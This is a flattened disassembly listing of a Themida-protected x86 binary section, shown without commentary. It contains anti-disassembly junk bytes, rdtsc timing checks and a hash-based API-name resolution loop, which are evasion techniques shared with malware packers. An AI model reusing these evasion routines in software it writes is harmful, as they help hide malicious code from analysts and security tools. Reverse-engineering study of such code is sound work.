loc_54C72E: ; CODE XREF: sub_54C6F2+30j movsx eax, di popa stc mov esi, 3Ch jmp loc_54C74B ; --------------------------------------------------------------------------- adc [edi-17h], ebx rcl dword ptr [edx+723DBB51h], 1 icebp sbb edx, esi add al, 2Fh loc_54C74B: ; CODE XREF: sub_54C6F2+46j add esi, [esp+20h+arg_0] pusha call near ptr loc_54C75F+9 inc eax test al, 0C5h mov dh, 5Fh in al, 93h inc edi bound ecx, [ecx] loc_54C75F: ; CODE XREF: sub_54C6F2+5Ep mov dword ptr [esi-37DB7FD7h], 0B1BA0D85h sub_54C6F2 endp ; sp-analysis failed adc [eax-75h], bl shl dword ptr [ecx+66h], 1 lodsd jmp loc_54C783 ; --------------------------------------------------------------------------- db 1Eh, 6Eh, 36h dd 0AB6A6A63h, 0CF7CE3BAh db 0BEh, 0F6h, 69h ; --------------------------------------------------------------------------- loc_54C783: ; CODE XREF: Themida_:0054C770j add eax, [esp+24h] mov [ebp+6140A41h], ebx push eax jmp loc_54C7A0 ; --------------------------------------------------------------------------- db 29h ; --------------------------------------------------------------------------- xchg eax, edx sbb ebp, ebx push esi or al, 3Ch jmp fword ptr [edx+edx*8-3Bh] ; --------------------------------------------------------------------------- dw 9E28h ; --------------------------------------------------------------------------- loc_54C7A0: ; CODE XREF: Themida_:0054C78Ej mov [esp], eax sub [ebp+614042Dh], edi mov eax, [eax+78h] pusha sub [ebp+6142115h], edx or esi, [ebp+61434BDh] popa jnz loc_54C7C6 mov [ebp+6141505h], edi loc_54C7C6: ; CODE XREF: Themida_:0054C7BAj add eax, [esp+28h] mov [ebp+61429C1h], ebx mov eax, [eax+18h] or [ebp+61400B1h], edx inc eax pusha or dh, 1Dh popa mov [ebp+6143B09h], eax jz loc_54C7F5 pusha mov eax, [ebp+6141685h] mov ebx, ecx popa loc_54C7F5: ; CODE XREF: Themida_:0054C7E5j pop eax clc mov esi, [eax+78h] cld add esi, 1Ch jmp loc_54C814 ; --------------------------------------------------------------------------- imul ebx, [edi-7Dh], 69h retn ; --------------------------------------------------------------------------- dd 165B5768h, 7028C75Bh, 3E0C9897h ; --------------------------------------------------------------------------- loc_54C814: ; CODE XREF: Themida_:0054C7FEj add esi, [esp+24h] sub [ebp+6143169h], ecx lea edi, [ebp+61418F1h] jg loc_54C836 jg loc_54C836 mov [ebp+6141909h], esi loc_54C836: ; CODE XREF: Themida_:0054C824j ; Themida_:0054C82Aj lodsd xor [ebp+6141BE9h], ecx add eax, [esp+24h] jbe loc_54C848 stc loc_54C848: ; CODE XREF: Themida_:0054C841j stosd stc lea edi, [ebp+61409D9h] jg loc_54C864 pusha mov edx, [ebp+61430F1h] mov [ebp+614044Dh], ecx popa loc_54C864: ; CODE XREF: Themida_:0054C850j lodsd pusha pusha call near ptr loc_54C86E+3 sub ebp, edx loc_54C86E: ; CODE XREF: Themida_:0054C867p shr dword ptr [ebp+961584Ch], 1 test [ebp+25h], edi adc al, 6 popa jno loc_54C896 pusha jmp loc_54C88F ; --------------------------------------------------------------------------- dw 38C1h dd 8B4E2160h db 8Dh, 0A1h, 83h ; --------------------------------------------------------------------------- loc_54C88F: ; CODE XREF: Themida_:0054C881j sbb ebx, 656BDB8Ch popa loc_54C896: ; CODE XREF: Themida_:0054C87Aj add eax, [esp+24h] sub [ebp+6141D15h], edx nop jmp loc_54C8BA ; --------------------------------------------------------------------------- mov ds:0D1A6C9C9h, al adc [edi+1Ah], edx mov ch, 0Ah sub dword ptr [esi+7E32E9CEh], 0BABE2B04h loc_54C8BA: ; CODE XREF: Themida_:0054C8A1j push eax push eax push edx pusha jl $+6 popa rdtsc loc_54C8C7: ; CODE XREF: Themida_:0054C8FDj jmp loc_54C8D6 ; --------------------------------------------------------------------------- db 0CCh db 0Eh, 71h, 13h ; --------------------------------------------------------------------------- or al, 2Bh cmpsb xchg eax, ebx or esi, edx loc_54C8D6: ; CODE XREF: Themida_:loc_54C8C7j pop edx pop eax nop jnb loc_54C8E5 or [ebp+61412D1h], eax loc_54C8E5: ; CODE XREF: Themida_:0054C8D9j stosd jmp loc_54C8FF ; --------------------------------------------------------------------------- db 83h dd 940A6609h, 456B725Fh, 0D8A2EC65h, 41F427C9h ; --------------------------------------------------------------------------- dec edi jg short loc_54C8C7 loc_54C8FF: ; CODE XREF: Themida_:0054C8E6j lea edi, [ebp+6140381h] mov [ebp+6142F0Dh], eax pusha movzx edx, cx mov esi, [ebp+6143101h] popa lodsd mov [ebp+61425B5h], ebx mov [ebp+6140F81h], eax add eax, [esp+28h] xor [ebp+614056Dh], ecx stosd mov [ebp+6140BE5h], eax pop esi xor [ebp+6142199h], esi loc_54C93B: ; CODE XREF: Themida_:0054C9C7j dec dword ptr [ebp+6143B09h] cmp dword ptr [ebp+6143B09h], 0 jnz short loc_54C95A mov dword ptr [esp+1Ch], 0 lea esi, [ebp+6143FDDh] jmp esi ; --------------------------------------------------------------------------- loc_54C95A: ; CODE XREF: Themida_:0054C948j push esi lodsd add eax, [esp+28h] xchg eax, edi mov ebx, edi mov al, [ebp+6141A59h] test al, al jz short loc_54C971 cmp al, [edi] jnz short loc_54C9BD loc_54C971: ; CODE XREF: Themida_:0054C96Bj push edi xor al, al loc_54C974: ; CODE XREF: Themida_:0054C975j scasb jnz short loc_54C974 pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_54C981: ; CODE XREF: Themida_:0054C9AAj xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_54C990: ; CODE XREF: Themida_:0054C9A3j shr bx, 1 rcr ax, 1 jnb short loc_54C9A1 xor ax, 5041h xor bx, 5449h loc_54C9A1: ; CODE XREF: Themida_:0054C996j dec dh jnz short loc_54C990 xor ecx, eax xor edx, ebx dec edi jnz short loc_54C981 not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_54C9CC loc_54C9BD: ; CODE XREF: Themida_:0054C96Fj pop esi add esi, 4 inc dword ptr [ebp+61402F5h] jmp loc_54C93B ; --------------------------------------------------------------------------- loc_54C9CC: ; CODE XREF: Themida_:0054C9BBj pop esi pusha sub [ebp+6142375h], ecx mov cl, 28h popa jg loc_54C9E3 pusha mov bl, 1Bh mov cl, 0Bh popa loc_54C9E3: ; CODE XREF: Themida_:0054C9D7j mov eax, [ebp+61402F5h] sub [ebp+6142EDDh], edx shl eax, 1 jle loc_54C9FD mov [ebp+6142D69h], edi loc_54C9FD: ; CODE XREF: Themida_:0054C9F1j add eax, [ebp+6140381h] pusha pusha mov si, 4487h popa movzx ecx, dx popa sub esi, esi jbe loc_54CA1E jbe loc_54CA1E pusha popa loc_54CA1E: ; CODE XREF: Themida_:0054CA10j ; Themida_:0054CA16j xchg eax, esi pusha sub [ebp+6140BBDh], esi jb loc_54CA32 jp $+6 loc_54CA32: ; CODE XREF: Themida_:0054CA26j popa lodsw jmp loc_54CA4E ; --------------------------------------------------------------------------- dw 13BBh dd 0B6FD2BEh, 38673E8Fh, 0B07800D6h, 1F47E6EEh db 17h, 0E0h ; --------------------------------------------------------------------------- loc_54CA4E: ; CODE XREF: Themida_:0054CA35j pusha movsx ecx, cx mov ebx, 2EF9E862h popa shl eax, 2 mov [ebp+6142C29h], eax add eax, [ebp+61418F1h] jnb loc_54CA78 jmp loc_54CA78 ; --------------------------------------------------------------------------- dw 0E856h dd 29C2AAE3h ; --------------------------------------------------------------------------- loc_54CA78: ; CODE XREF: Themida_:0054CA67j ; Themida_:0054CA6Dj xchg eax, esi mov [ebp+61418E1h], edi lodsd jmp loc_54CA8B ; --------------------------------------------------------------------------- push esi sbb [ebx-7Eh], dl adc [edx], esp loc_54CA8B: ; CODE XREF: Themida_:0054CA80j mov ecx, [esp+24h] jmp loc_54CA9A ; --------------------------------------------------------------------------- dd 270575C6h db 0A0h, 21h ; --------------------------------------------------------------------------- loc_54CA9A: ; CODE XREF: Themida_:0054CA8Fj add eax, [esp+24h] mov [ebp+6142EA5h], edi mov [esp+1Ch], eax jmp loc_54CABC ; --------------------------------------------------------------------------- db 6Ah, 1Bh, 0D2h dd 0C2F2978Ah, 936FEAA1h, 62B4CB20h ; --------------------------------------------------------------------------- loc_54CABC: ; CODE XREF: Themida_:0054CAA8j xchg eax, esi jz loc_54CACD pusha mov bh, al jnz $+6 popa loc_54CACD: ; CODE XREF: Themida_:0054CABDj lodsb or [ebp+6142D09h], edx xor cl, cl pusha pusha jo $+6 xor [ebp+61413F5h], edi popa popa inc cl mov [ebp+61408DDh], edx loc_54CAEE: ; CODE XREF: Themida_:0054CB30j rcl al, 1 jnb loc_54CBBC add [ebp+6142C55h], edi rcl al, 1 jnb loc_54CBBC jmp loc_54CB10 ; --------------------------------------------------------------------------- cmp al, [esi-29B34810h] dec esp loc_54CB10: ; CODE XREF: Themida_:0054CB04j rcl al, 1 jb loc_54CBBC pusha movsx esi, si movzx ecx, di popa rcl al, 1 jb loc_54CBBC sub [ebp+6141A89h], edi dec cl jns loc_54CAEE js loc_54CB44 pusha mov eax, [ebp+6140601h] popa loc_54CB44: ; CODE XREF: Themida_:0054CB36j stc add esp, 20h pusha movsx esi, bx mov di, 4521h popa mov dword ptr [esp-4], 0 js loc_54CB65 add [ebp+6142F65h], edx loc_54CB65: ; CODE XREF: Themida_:0054CB59j mov eax, 1 jmp loc_54CB7B ; --------------------------------------------------------------------------- db 2Fh dd 74221981h, 9109D443h db 0A9h, 0EAh, 27h ; --------------------------------------------------------------------------- loc_54CB7B: ; CODE XREF: Themida_:0054CB6Aj jb loc_54CB93 jmp loc_54CB93 ; --------------------------------------------------------------------------- dw 0CB14h dd 0A41F1EE8h, 0C346C478h db 0DFh, 0B9h, 26h ; --------------------------------------------------------------------------- loc_54CB93: ; CODE XREF: Themida_:loc_54CB7Bj ; Themida_:0054CB81j lea ecx, [ebp+61470F0h] pusha jmp loc_54CBB2 ; --------------------------------------------------------------------------- db 0EEh dd 0A2216CC4h, 75C4BDFBh, 3CFCA92Bh, 159F7ECFh ; --------------------------------------------------------------------------- dec dword ptr [edi] loc_54CBB2: ; CODE XREF: Themida_:0054CB9Aj mov [ebp+61424A5h], ebx popa jmp ecx ; --------------------------------------------------------------------------- cld loc_54CBBC: ; CODE XREF: Themida_:0054CAF0j ; Themida_:0054CAFEj ... mov byte ptr [ebp+6141A59h], 0 or [ebp+6142661h], edi popa jg loc_54CBE9 jmp loc_54CBE9 ; --------------------------------------------------------------------------- db 0Ch, 47h, 0D5h dd 54019261h, 3EE50CF5h, 0EE0B307Dh, 0E4672A0Fh db 1Bh ; --------------------------------------------------------------------------- loc_54CBE9: ; CODE XREF: Themida_:0054CBCAj ; Themida_:0054CBD0j ja locret_54CBFE jmp locret_54CBFE ; --------------------------------------------------------------------------- dd 0E1A13BD4h, 7ACF98F0h ; --------------------------------------------------------------------------- fdiv st, st(1) locret_54CBFE: ; CODE XREF: Themida_:loc_54CBE9j ; Themida_:0054CBEFj retn 8 ; --------------------------------------------------------------------------- db 60h, 0Fh, 0B7h dd 0CF8166DBh db 60h, 78h, 61h byte_54CC0B db 50h ; DATA XREF: Themida_:0054B6B4o dd 0BE605250h, 2029B60Fh, 60310F61h, 0E451ACBEh, 61CE8B51h dd 3489585Ah, 0F880F24h, 0E9000000h, 0Ah, 9F9BB7D5h, 108B9368h dd 3160F4FDh, 140AF995h, 0C19D8B06h, 6106141Ah, 41E0B589h dd 66600614h, 9823E781h, 0E101E081h, 89615A05h, 1441EB8Dh dd 0B58DF906h, 61440DCh, 0FE9h, 9BF49100h, 0D1A7853Ah dd 6B6D9920h, 0AE8610AEh, 8EA1858Dh, 8960005Bh, 1413DDB5h dd 0F1B58906h, 6106142Eh, 8E9D0FFh, 45000000h, 0B0A4D7FDh dd 5EF1237Ah, 14E9C3F9h, 0D2000000h, 5360BAD6h, 8C95032Ah dd 6EF63DD7h, 3C3CDB9Eh, 8B7BD98Fh, 1441E0B5h, 0F1BD8906h dd 8B061402h, 1441EB8Dh, 59B50906h, 0B8061413h, 0 ; --------------------------------------------------------------------------- mov [ebp+6140A7Dh], eax mov ebx, ecx pusha mov [ebp+6142659h], eax popa jmp loc_54CD96 ; --------------------------------------------------------------------------- jl loc_54CCFE jmp loc_54CCFE ; --------------------------------------------------------------------------- dd 76BAF48Ah ; --------------------------------------------------------------------------- jg short loc_54CD27 loc_54CCFE: ; CODE XREF: Themida_:0054CCEDj ; Themida_:0054CCF3j ... xor ah, [esi] or [ebp+6142A85h], edx mov dl, 2 clc jmp loc_54CD6C ; --------------------------------------------------------------------------- or [ebp+61408CDh], edi loc_54CD14: ; CODE XREF: Themida_:0054CD6Ej xor al, dl jb loc_54CD30 jmp loc_54CD30 ; --------------------------------------------------------------------------- db 0ECh, 49h, 0D2h ; --------------------------------------------------------------------------- rcr dh, 0ACh loc_54CD27: ; CODE XREF: Themida_:0054CCFCj or dl, [edx] ; --------------------------------------------------------------------------- db 8Dh, 0C2h, 62h dd 0CB38F36h ; --------------------------------------------------------------------------- loc_54CD30: ; CODE XREF: Themida_:0054CD16j ; Themida_:0054CD1Cj add eax, 8A751D7Ah add [ebp+6142511h], edx mov cl, ah sub [ebp+61401B1h], edx ror eax, cl mov [ebp+6142EC1h], esi xor eax, 98D10842h sub [ebp+61410D5h], eax or [ebp+6141385h], ecx dec dl jmp loc_54CD6C ; --------------------------------------------------------------------------- db 3Ah ; --------------------------------------------------------------------------- push 0B81B0864h sbb al, 17h push edi loc_54CD6C: ; CODE XREF: Themida_:0054CD09j ; Themida_:0054CD5Ej or dl, dl jnz loc_54CD14 pusha mov edi, [ebp+61412EDh] sbb ebx, 2058F8B8h popa dec ebx add [ebp+6141165h], edi add [ebp+6140C75h], edx inc esi sub [ebp+6142625h], edi loc_54CD96: ; CODE XREF: Themida_:0054CCE8j or ebx, ebx jnz loc_54CCFE pusha mov ecx, [ebp+6142349h] jmp loc_54CDBC ; --------------------------------------------------------------------------- dw 0D0A3h dd 0B5A850FFh, 63E8D690h, 0E283C274h, 0E3680FFCh ; --------------------------------------------------------------------------- loc_54CDBC: ; CODE XREF: Themida_:0054CDA5j popa iret ; --------------------------------------------------------------------------- dw 0F5h dd 55950900h, 61402h, 0F800h, 18E9BD29h, 0DE90614h, 41000000h dd 80E852Bh, 3B874395h, 23921B2Ah, 8DFC0000h, 143B1385h dd 68D0F06h, 1000000h, 1434F98Dh, 11858906h, 0E9061423h dd 7, 0A7EB4EC1h, 8D4C23A7h, 14402C85h, 2DBD8906h, 8906142Eh dd 142AD585h, 14EB06h, 3 dup(0) dd 85000000h, 8D000000h, 14430C85h, 8D858906h, 83061410h dd 14424CBDh, 840F0006h, 12Ch, 1A5985C6h, 68560614h, 6C3FF16Bh dd 0CE240481h, 0FF67DF7Bh, 141145B5h, 13858D06h, 0FF06143Bh dd 408589D0h, 0C6061442h, 141A5985h, 0B3685606h, 814800A5h dd 129F2404h, 0B5FF54A8h, 6141145h, 3B13858Dh, 0D0FF0614h dd 42448589h, 46A0614h, 4E8h, 100000h, 448B5000h, 8B0424h dd 4244489h, 50858B58h, 5061442h, 1F4h, 5002E0C1h, 6A240489h dd 4495FF00h, 89061442h, 14424885h, 0B8D88B06h, 0FFFFFFFFh dd 108D95FFh, 0C38B0614h, 108D95FFh, 8DE90614h db 3 dup(0) ; --------------------------------------------------------------------------- loc_54CEEB: ; DATA XREF: Themida_:00549C6Co cmp dword ptr [ebp+614424Ch], 0 jnz loc_54CEF9 retn ; --------------------------------------------------------------------------- loc_54CEF9: ; CODE XREF: Themida_:0054CEF2j push edi mov edi, [ebp+6144248h] stosd add dword ptr [ebp+6144248h], 4 pop edi retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+614424Ch], 0 jnz loc_54CF18 retn ; --------------------------------------------------------------------------- loc_54CF18: ; CODE XREF: Themida_:0054CF11j pusha sub dword ptr [ebp+6144248h], 4 loc_54CF20: ; CODE XREF: Themida_:loc_54CF73j mov ebx, [ebp+6144248h] cmp dword ptr [ebx-4], 0FFFFFFFFh jnz loc_54CF56 call near ptr loc_54CF35+4 loc_54CF35: ; CODE XREF: Themida_:0054CF30p add [eax-74B00000h], al inc esp and al, 4 mov eax, [eax] mov [esp+4], eax pop eax push 0 push dword ptr [ebx] call dword ptr [ebp+6144240h] popa retn ; --------------------------------------------------------------------------- jmp loc_54CF73 ; --------------------------------------------------------------------------- loc_54CF56: ; CODE XREF: Themida_:0054CF2Aj push 595F7A9Dh xor dword ptr [esp], 595FFA9Dh push 0 push dword ptr [ebx] call dword ptr [ebp+6144240h] sub dword ptr [ebp+6144248h], 4 loc_54CF73: ; CODE XREF: Themida_:0054CF51j jmp loc_54CF20 ; --------------------------------------------------------------------------- dec eax jmp loc_54D951 ; --------------------------------------------------------------------------- dw 83B6h dd 8EBDD441h, 1B9A9C83h, 0D607FFCDh, 9E94CDA8h, 19DF9098h dd 0E3616A50h, 4625D363h, 0A5EB637Ah, 0CCB6D941h, 0C88948Fh dd 0C416AC9Fh, 0D59B88AFh, 13AFF3F7h, 0E27C7E5Ah, 4625816Fh dd 0A6E46578h, 0CCACD941h, 13928990h, 0DA0AB29Fh, 0DB8F9FB4h dd 5F9B909Ch, 0F37C7A4Dh, 824D322h, 0B0F0656Dh, 83AAC041h dd 139C8991h, 91h, 62h dup(0) dd 83B60000h, 82B7DD41h, 0C928F9Fh, 0D81DAF9Fh, 96979FBCh dd 0C9E96DDh, 0E26A7D1Fh, 4736812Dh, 0E2E16461h, 82B6C513h dd 5E9A959Fh, 0CE4FB1D6h, 0DB8498B4h, 0B8C878Eh, 8D21725Ah dd 4D3CF14Eh, 0EEE07975h, 80B6C541h, 5E999A99h, 0D14FABD6h dd 0DB9B82A9h, 10929B90h, 0E62F664Dh, 5A70C52Dh, 0A3F17971h dd 95F8C413h, 5E8F8E99h, 0D000ADCFh, 0D59B8CA9h, 48h dup(0) dd 83B60000h, 8DAAD341h, 0C989095h, 0C34FAC98h, 0DB9A82B4h dd 5F8C9F95h, 0E96A7A5Dh, 5D3FC763h, 0B0A56E7Ah, 85B6DE14h dd 17DD9C98h, 0D816FFD1h, 88D69FAEh, 1A8B8D84h, 8A053152h dd 4935CD13h, 0E2A96F67h, 83B4DE14h, 17DD9F97h, 0C509FFCBh dd 96D680B4h, 0D909398h, 0E96E3F46h, 4D228127h, 0B0E47E67h dd 83A19015h, 0EDD8983h, 0C508B0CDh, 0D880BAh, 61h dup(0) dd 84B60000h, 0CCBDDC08h, 0C8F9495h, 0D21BAFCAh, 0DBD8CCBFh dd 0C9696A9h, 0E87D6F1Fh, 4531D324h, 0B1E46234h, 89BDD241h dd 1F90DB98h, 0C21FB6D1h, 9E828CB7h, 119EDE99h, 0E6623F5Bh dd 2235C33Ah, 0E5F16319h, 82B19012h, 0A9E9E90h, 0D54FBBDAh dd 0DB97CDA2h, 0A8D97ABh, 0F5603F4Ch, 4922C263h, 0A6E06177h dd 848C904Fh, 18DD889Fh, 970AB3D6h, 0DC9882ACh, 1088DE89h dd 0E62F744Dh, 473DD82Dh, 0AB6F66h, 0E0h dup(0) dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0) aExitStatusD db 'Exit Status = %d',0 align 4 dd 0 db 0 ; --------------------------------------------------------------------------- loc_54D951: ; CODE XREF: Themida_:0054CF79j jmp loc_550561 ; --------------------------------------------------------------------------- mov ebx, edi cld sub edx, 364DF8E6h mov eax, eax sub [ebp+6141FE5h], ebx cmp dword ptr [ebp+61430B1h], 0 jnz short loc_54D979 cmp dword ptr [ebp+6141AE1h], 0 jz short loc_54D98C loc_54D979: ; CODE XREF: Themida_:0054D96Ej push eax push ebx mov eax, eax mov eax, 1 lea ebx, [ebp+616B5DCh] call ebx pop ebx pop eax loc_54D98C: ; CODE XREF: Themida_:0054D977j cmp dword ptr [ebp+6141AE1h], 0 jz short loc_54D9A6 push eax push ebx mov eax, 1 lea ebx, [ebp+616B48Dh] call ebx pop ebx pop eax loc_54D9A6: ; CODE XREF: Themida_:0054D993j mov ebx, 145DED41h mov ebx, [ebp+6140355h] mov eax, eax add [ebp+61423EDh], edx mov bx, 44EAh cmp dword ptr [ebp+6140B05h], 0 jz loc_54DB36 push 0 push eax call sub_54D9D5 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54D9D5 proc near ; CODE XREF: Themida_:0054D9CDp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_54D9D5 endp ; --------------------------------------------------------------------------- db 5, 45h, 83h dd 140441BDh, 840F0006h, 142h, 262D952Bh, 6A600614h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 3CE3C352h, 0CDF19EE4h, 0D38166B8h, 858B9C9Dh, 6140441h dd 5DAB70Fh, 3E8h, 6519D8Bh, 0E9500614h, 14h, 0ABC17978h dd 299CD1CBh, 0C3CA593Eh, 0B6EED83h, 0F47F6B9Ch, 6A240489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 2568C356h, 1D9C0588h, 654AA9B1h, 73E541BBh dd 59858D33h, 8B06144Dh, 0CB8166D1h, 60500488h, 8B74B866h dd 0F28B5250h, 8E9310Fh, 52000000h, 0D81CABB4h, 5AFC8E73h dd 4896158h, 6C88BA24h, 0DF8054D3h, 37858DA8h, 8B06144Dh dd 66B790DAh, 90F88A50h, 95FF07B3h, 6141509h, 25C59D8Bh dd 0C4830614h, 0A99D890Ch, 8D061408h, 144D3785h, 3D9D8906h dd 8B061422h, 140D3595h, 4895006h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0DE13DB93h dd 0FDCDC9Dh, 0AABAD6BFh, 6A68EEBCh, 69B58902h, 89061415h dd 140595BDh, 1495FF06h, 66006AEDh, 610965BBh, 31B19503h ; --------------------------------------------------------------------------- adc al, 6 loc_54DB36: ; CODE XREF: Themida_:0054D9C4j mov dword ptr [ebp+6144D6Ah], 1 push 0 push eax call sub_54DB4B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_54DB4B proc near ; CODE XREF: Themida_:0054DB43p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_54DB4B endp ; --------------------------------------------------------------------------- cmp esp, esi retf 0C15Ah ; --------------------------------------------------------------------------- dd 0BE85006h, 0D0000000h, 0F5FC7D8h, 0C5ACAF15h, 52500382h dd 800Fh, 310F0000h, 310F5250h, 585A585Ah, 2434895Ah, 1FD9BD89h dd 0B5890614h, 6144D1Bh, 0ECC38166h, 0CDBD8373h, 1061412h dd 39850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 73B59DC3h, 5F883D5h, 11850Fh, 9D8B0000h dd 6142661h, 0B8h, 91858900h, 83061411h, 140051BDh, 840F0006h dd 40h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h dd 0D3C35040h, 8B602247h, 1425CD95h, 5195FF06h, 0E9061400h dd 0Bh, 4C45E053h, 32C067Ch, 61918177h, 0FC27CA80h, 1A99BD83h dd 0F000614h, 3184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 0BFA89A13h, 0AE99D8Bh dd 0B80614h, 8B000000h, 0C38166DFh, 0F60CCA9h, 1689h, 0AE800h dd 9BEA0000h, 3F6AA680h, 5A241A04h, 8E0Fh, 8B5B0000h, 142D0185h dd 6EEB8106h, 836E2CEDh, 0DF8B02C0h, 4D138589h, 81660614h dd 0C64362EAh, 9EB3FF00h, 1A5985C6h, 8B530614h, 14263D95h dd 4E806h, 48D80000h, 800FFCB1h, 12h, 0DE9h, 23C7EC00h dd 65C78E2Ch, 0C42E6456h, 8A50B92Ch, 24448BDDh, 8BD68B04h dd 89DF8B00h, 53042444h, 5BD88B66h, 3880F58h, 80000000h dd 49B7D7EBh, 1AD1B5FFh, 89600614h, 1419E9BDh, 36DB8006h dd 0DB858D61h, 89061780h, 141FD985h, 0A0F2BA06h, 0D0FF6046h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0EEC35545h dd 516FD868h, 0BB66528Eh, 8589EF79h, 6141169h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 89C35040h, 0BA91361Ch dd 0FD4A826h, 1D51BD83h, 0F010614h, 0FF85h, 11958B00h dd 61061414h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 8AC35646h, 1A5985C6h, 89450614h, 1431218Dh, 2E536806h dd 5250D90Bh, 9E8h, 72197100h, 15695D55h, 0DE81E19h, 94000000h dd 96231185h, 86F476A1h, 8707AD9Ah, 310F5A5Ah, 0FEE0BB66h dd 481585Ah, 550A6F24h, 69958901h, 0FF06140Ah, 141AD1B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 33791A93h, 0B89965E0h, 80DB858Dh, 0CE90617h dd 0D5000000h, 9C092921h, 6AF1E5E1h, 0FFA806C0h, 53006AD0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BF0FFF34h, 6A006ADAh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0BCFBC355h, 0A1DB589h dd 0D0FF0614h, 8D315BB7h, 614321Dh, 829BD83h, 0F010614h dd 0C585h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 333E4396h, 25CD9D89h, 8B660614h dd 1858BD8h, 0E806142Dh, 5, 8BBDC007h, 2195338Ah, 5B06142Eh dd 2DE9h, 9F38100h, 502A3E56h, 64BE6660h, 4896179h, 0FBBB6624h dd 8B146A6Fh, 6995FFDEh, 89061411h, 14207185h, 0CB816606h dd 6658FF6Ch, 3880D68Bh, 0D0850F00h, 6AFFFFFFh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 826DC352h, 100C61Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0F3C35242h, 85DCF414h, 7CB3FFE9h, 2EC19D8Bh dd 0E9610614h, 5, 0AE37696Fh, 65BD8364h, 6141Dh, 78840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 9BC6CFC3h, 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 0F6DE0AC3h, 38F3F449h dd 9D8B59D2h, 61431E1h, 116995FFh, 0D68B0614h, 0FFFFC7E9h dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0EB81661Bh, 85C7C505h, 6141D65h, 1, 0FF34C281h dd 85893631h, 6144D1Fh, 0B359D8Bh, 0B3500614h, 240489DEh dd 8E0F60F9h, 6, 8A0Fh, 56A0000h, 0BD9958Bh, 0BB660614h dd 858D1C3Ch, 6144D37h, 50D88B66h, 8B665250h, 57310FD9h dd 8CFABB66h, 89585A5Ah, 0BA662404h, 858DC537h, 6144D27h dd 330CE281h, 8B900B0Eh, 8E0F50D0h, 0Ah, 0F595160h, 82h dd 6A906100h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 74ECC352h, 3D3D9C25h, 95FF4154h dd 6142F55h, 142D9589h, 8D8D0614h, 61478CEh, 0A40BB66h dd 1174C00Bh, 4D37858Dh, 0FF500614h, 558589D1h, 0EB06144Dh dd 5585C70Ah, 0FF06144Dh, 6AFFFFFFh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0D599C357h dd 0B3524743h, 0FDBD8924h, 6106140Ah, 0A0D9D8Bh, 85C60614h dd 6141A59h, 0E1958B4Dh, 68061409h, 0F4532D51h, 0C830Fh dd 8F0F0000h, 6, 310F5250h, 3481585Ah, 665BF924h, 0AD9D8B50h dd 0F061420h, 68Ah, 819D8B00h, 0FF06141Dh, 142255B5h, 1D9D8906h dd 8D061432h, 1780DB85h, 7E906h, 3A640000h, 8EAD088h, 81D0FFD1h dd 496CE3D2h, 0C1858952h, 0C6061402h, 141A5985h, 9D8B4506h dd 6140361h, 0D45ACA68h, 81D18BADh, 33A32434h, 0B5FF23A6h dd 6141AD1h, 19799D31h, 858D0614h, 61780DBh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 68C35343h, 0BE8A03D1h dd 57E79D8Bh, 0CE8h, 7A172900h, 0A587DD50h, 6C8F293Fh dd 5B5B5742h, 0FD0FF5Ah, 89F5DEB7h, 142EF985h, 5D958B06h dd 8B061405h, 25E281D2h, 6654F270h, 0EE8D98Ch, 7E000000h dd 0FE3F44B1h, 8D5B445Dh, 9BBDD071h, 0B444BA0Dh, 0F65A564Fh dd 840F04C1h, 220h, 1C4D9501h, 11E90614h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0AE70C356h, 17ADEA0Fh, 2421B58Bh, 0BD890614h, 614160Dh dd 1180C681h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 28681EC3h, 0FC8BDB6Bh, 3D9BD83h dd 0F000614h, 2C85h, 7AE9F800h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0A97EC350h dd 38D0Fh, 0B70F0000h, 3E83DFh, 4B840Fh, 85890000h, 61419E1h dd 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 